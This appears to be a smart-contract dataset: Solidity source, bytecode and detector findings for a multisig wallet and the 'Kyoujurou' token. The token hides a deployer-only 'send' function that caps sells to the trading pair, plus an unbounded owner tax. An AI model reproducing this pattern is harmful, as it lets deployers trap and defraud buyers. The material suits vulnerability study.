m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
emit OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
emit OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
emit OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
emit RequirementChanged(_newRequired);
}
function isOwner(address _addr) public view returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) {
PendingState storage pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
return false;
} else {
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
PendingState storage pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
emit Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private returns (bool) {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable)
// on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method
// uses is specified in the modifier.
contract daylimit is multiowned {
// MODIFIERS
// simple modifier for daily limit.
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
// METHODS
// constructor - stores initial daily limit and records the present day's index.
constructor(uint _limit) public {
m_dailyLimit = _limit;
m_lastDay = today();
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function setDailyLimit(uint _newLimit) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
m_dailyLimit = _newLimit;
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function resetSpentToday() onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private view returns (uint) { return block.timestamp / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address from, uint value);
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
event SingleTransact(address owner, uint value, address to);
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
event MultiTransact(address owner, bytes32 operation, uint value, address to);
// Confirmation still needed for a transaction.
event ConfirmationERC20Needed(bytes32 operation, address initiator, uint value, address to, ERC20Basic token);
event ConfirmationETHNeeded(bytes32 operation, address initiator, uint value, address to);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
//function execute(address _to, uint _value, bytes _data) external returns (bytes32);
//function confirm(bytes32 _h) public returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).transact(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
uint public version = 3;
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
address token;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
constructor(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) public {
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
selfdestruct(_to);
}
// gets called when no other function matches
function() public payable {
// just being sent some cash?
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transacion immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function transferETH(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
_to.transfer(_value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmETH(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
emit ConfirmationETHNeeded(_r, msg.sender, _value, _to);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirmETH(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.transfer(m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
function transferERC20(address _to, uint _value, address _token) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
ERC20Basic token = ERC20Basic(_token);
token.transfer(_to, _value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmERC20(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].token = _token;
emit ConfirmationERC20Needed(_r, msg.sender, _value, _to, token);
}
}
function confirmERC20(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
ERC20Basic token = ERC20Basic(m_txs[_h].token);
token.transfer(m_txs[_h].to, m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
|
0x6080604052600436106101115763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663173825d981146101575780632f54bf6e146101785780634123cb6b146101ad57806352375093146101d457806354fd4d50146101e95780635c52c2f5146101fe578063659010e7146102135780637065cb4814610228578063746c9171146102495780637b1a49091461025e5780637de1a6311461028257806397e10a791461029a578063b20d30a9146102c5578063b75c7dc6146102dd578063ba51a6df146102f5578063c2cf73261461030d578063cbf0b0c014610331578063f00d4b5d14610352578063f1736d8614610379578063fa47c5641461038e575b6000341115610155576040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a15b005b34801561016357600080fd5b50610155600160a060020a03600435166103a6565b34801561018457600080fd5b50610199600160a060020a03600435166104fb565b604080519115158252519081900360200190f35b3480156101b957600080fd5b506101c261051c565b60408051918252519081900360200190f35b3480156101e057600080fd5b506101c2610522565b3480156101f557600080fd5b506101c2610529565b34801561020a57600080fd5b50610155610530565b34801561021f57600080fd5b506101c26105d4565b34801561023457600080fd5b50610155600160a060020a03600435166105db565b34801561025557600080fd5b506101c2610732565b34801561026a57600080fd5b506101c2600160a060020a0360043516602435610738565b34801561028e57600080fd5b5061019960043561092c565b3480156102a657600080fd5b506101c2600160a060020a036004358116906024359060443516610a58565b3480156102d157600080fd5b50610155600435610ccc565b3480156102e957600080fd5b50610155600435610d6d565b34801561030157600080fd5b50610155600435610e05565b34801561031957600080fd5b50610199600435600160a060020a0360243516610ef2565b34801561033d57600080fd5b50610155600160a060020a0360043516610f56565b34801561035e57600080fd5b50610155600160a060020a0360043581169060243516610ffc565b34801561038557600080fd5b506101c261115c565b34801561039a57600080fd5b50610199600435611163565b600080364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083106104065780518252601f1990920191602091820191016103e7565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902061043c816112fa565b156104f657600160a060020a038316600090815261010260205260409020549150811515610469576104f6565b6001805403600054111561047c576104f6565b6000600283610100811061048c57fe5b0155600160a060020a038316600090815261010260205260408120556104b0611446565b6104b86114c5565b5060408051600160a060020a038516815290517f58619076adf5bb0943d100ef88d52d7c3fd691b19d3a9071b555b651fbf418da9181900360200190a15b505050565b600160a060020a03811660009081526101026020526040812054115b919050565b60015481565b6101075481565b6101085481565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b6020831061058f5780518252601f199092019160209182019101610570565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206105c5816112fa565b156105d1576000610106555b50565b6101065481565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b6020831061063a5780518252601f19909201916020918201910161061b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610670816112fa565b1561072e5761067e826104fb565b156106885761072e565b610690611446565b60015460fa116106a4576106a26114c5565b505b60015460fa116106b35761072e565b60018054810190819055600160a060020a0383169060029061010081106106d657fe5b0155600154600160a060020a03831660008181526101026020908152604091829020939093558051918252517f994a936646fe87ffe4f1e469d3d6aa417d6b855598397f323de5b449f765f0c3929181900390910190a15b5050565b60005481565b6000610743336104fb565b1561092657610751826115e1565b156107de576040805133815260208101849052600160a060020a0385168183015290517f4f6201f683343e96e9541a12726d3e99f43268c4dd78e66bed2bf05299ce5d9e9181900360600190a1604051600160a060020a0384169083156108fc029084906000818181858888f193505050501580156107d4573d6000803e3d6000fd5b5060009050610926565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b6020831061083d5780518252601f19909201916020918201910161081e565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090506108758161092c565b158015610898575060008181526101096020526040902054600160a060020a0316155b1561092657600081815261010960209081526040918290208054600160a060020a03871673ffffffffffffffffffffffffffffffffffffffff1990911681178255600190910185905582518481523392810192909252818301859052606082015290517fe8822e02b75091990be9e62536ea43bfedba392d5801cecae8473f992f262dc49181900360800190a15b92915050565b600081610938816112fa565b15610a525760008381526101096020526040902054600160a060020a031615610a52576000838152610109602052604080822080546001909101549151600160a060020a039091169282156108fc02929190818181858888f193505050501580156109a7573d6000803e3d6000fd5b506000838152610109602090815260409182902060018101549054835133815292830187905282840191909152600160a060020a0316606082015290517f73586c7e29af20c2cfb512293fb21f274d22b3fa0df53f2bb28977be93d545129181900360800190a1600083815261010960205260408120805473ffffffffffffffffffffffffffffffffffffffff19908116825560018083019390935560029091018054909116905591505b50919050565b600080610a64336104fb565b15610cc457610a72846115e1565b15610b62576040805133815260208101869052600160a060020a0387168183015290517f4f6201f683343e96e9541a12726d3e99f43268c4dd78e66bed2bf05299ce5d9e9181900360600190a150604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151849283169163a9059cbb9160448083019260209291908290030181600087803b158015610b2c57600080fd5b505af1158015610b40573d6000803e3d6000fd5b505050506040513d6020811015610b5657600080fd5b5060009250610cc49050565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610bc15780518252601f199092019160209182019101610ba2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209150610bf982611163565b158015610c1c575060008281526101096020526040902054600160a060020a0316155b15610cc45760008281526101096020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a038a81169182178455600184018a905560029093018054909216888416179091558351868152339381019390935282840188905260608301528316608082015290517fadd50a5aea0e28cb887644e8a41c86a278d70c9099697194c51299514f5b843c9160a0908290030190a15b509392505050565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610d2b5780518252601f199092019160209182019101610d0c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610d61816112fa565b1561072e575061010555565b33600090815261010260205260408120549080821515610d8c57610dff565b50506000828152610103602052604081206001810154600284900a929083161115610dff57805460019081018255810180548390039055604080513381526020810186905281517fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b929181900390910190a15b50505050565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610e645780518252601f199092019160209182019101610e45565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610e9a816112fa565b1561072e57600154821115610eae5761072e565b6000829055610ebb611446565b6040805183815290517facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da9181900360200190a15050565b600082815261010360209081526040808320600160a060020a038516845261010290925282205482811515610f2a5760009350610f4d565b8160020a90508083600101541660001415610f485760009350610f4d565b600193505b50505092915050565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610fb55780518252601f199092019160209182019101610f96565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610feb816112fa565b1561072e5781600160a060020a0316ff5b600080364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b6020831061105c5780518252601f19909201916020918201910161103d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020611092816112fa565b15610dff576110a0836104fb565b156110aa57610dff565b600160a060020a0384166000908152610102602052604090205491508115156110d257610dff565b6110da611446565b600160a060020a03831660028361010081106110f257fe5b0155600160a060020a0380851660008181526101026020908152604080832083905593871680835291849020869055835192835282015281517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c929181900390910190a150505050565b6101055481565b60008082611170816112fa565b156112f35760008481526101096020526040902054600160a060020a0316156112f3576000848152610109602090815260408083206002810154815460019092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169550859363a9059cbb93604480850194919392918390030190829087803b15801561121d57600080fd5b505af1158015611231573d6000803e3d6000fd5b505050506040513d602081101561124757600080fd5b50506000848152610109602090815260409182902060018101549054835133815292830188905282840191909152600160a060020a0316606082015290517f73586c7e29af20c2cfb512293fb21f274d22b3fa0df53f2bb28977be93d545129181900360800190a1600084815261010960205260408120805473ffffffffffffffffffffffffffffffffffffffff19908116825560018083019390935560029091018054909116905592505b5050919050565b336000908152610102602052604081205481808215156113195761143e565b6000858152610103602052604090208054909250151561137857600080548355600180840191909155610104805491611354919083016116de565b600283018190556101048054879290811061136b57fe5b6000918252602090912001555b8260020a9050808260010154166000141561143e57604080513381526020810187905281517fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda929181900390910190a1815460011061142b5760008581526101036020526040902060020154610104805490919081106113f457fe5b600091825260208083209091018290558682526101039052604081208181556001808201839055600290910191909155935061143e565b8154600019018255600182018054821790555b505050919050565b6101045460005b818110156114bd5761010960006101048381548110151561146a57fe5b600091825260208083209091015483528201929092526040018120805473ffffffffffffffffffffffffffffffffffffffff1990811682556001808301939093556002909101805490911690550161144d565b61072e611651565b600060015b6001548110156115dd575b600154811080156114f4575060028161010081106114ef57fe5b015415155b15611501576001016114d5565b600180541180156115225750600154600290610100811061151e57fe5b0154155b156115365760018054600019019055611501565b600154811080156115585750600154600290610100811061155357fe5b015415155b80156115715750600281610100811061156d57fe5b0154155b156115d857600154600290610100811061158757fe5b0154600282610100811061159757fe5b015580610102600060028361010081106115ad57fe5b015481526020019081526020016000208190555060006002600154610100811015156115d557fe5b01555b6114ca565b5090565b60006115ec336104fb565b1561051757610107546115fd6116d4565b1115611616576000610106556116116116d4565b610107555b610106548281011080159061163357506101055482610106540111155b1561164957506101068054820190556001610517565b506000919050565b6101045460005b818110156116c75761010480548290811061166f57fe5b600091825260209091200154156116bf5761010360006101048381548110151561169557fe5b60009182526020808320909101548352820192909252604001812081815560018101829055600201555b600101611658565b61072e6101046000611702565b6201518042045b90565b8154818355818111156104f6576000838152602090206104f691810190830161171c565b50805460008255906000526020600020908101906105d191905b6116db91905b808211156115dd57600081556001016117225600a165627a7a7230582027ba5fa91c4dffbfd8ea3a8b8f4f5ecc663e156d92e78ec87791ab80f6c087520029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,254 |
0x132154c3ab52f0ab6ee3c8ead16463f4ee0a80f3
|
/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS=0xc8a9d3C9Dc07609Bdf5C17d686ae20B5d94AC247;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kyoujurou is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "Kyoujurou";
string private constant _symbol = "Kyoujurou";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _deployer;
uint256 private _amt = _tTotal;
event MaxDumpChanged(uint _amt);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_deployer=owner();
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 4;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _amt);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_amt = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier r() {
require(_deployer == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function send(uint256 g) external r {
_amt = g;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a52c101e146102bf578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f1e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd9565b6103f6565b6040516101629190612034565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061205e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612079565b610421565b6040516101ca9190612034565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f591906120e8565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190612103565b610579565b604051610249919061205e565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b919061213f565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b69190611f1e565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e1919061215a565b610783565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd9565b6107ee565b60405161031c9190612034565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061215a565b61080c565b005b34801561035a57600080fd5b506103636108ef565b005b34801561037157600080fd5b5061038c60048036038101906103879190612187565b610e12565b604051610399919061205e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000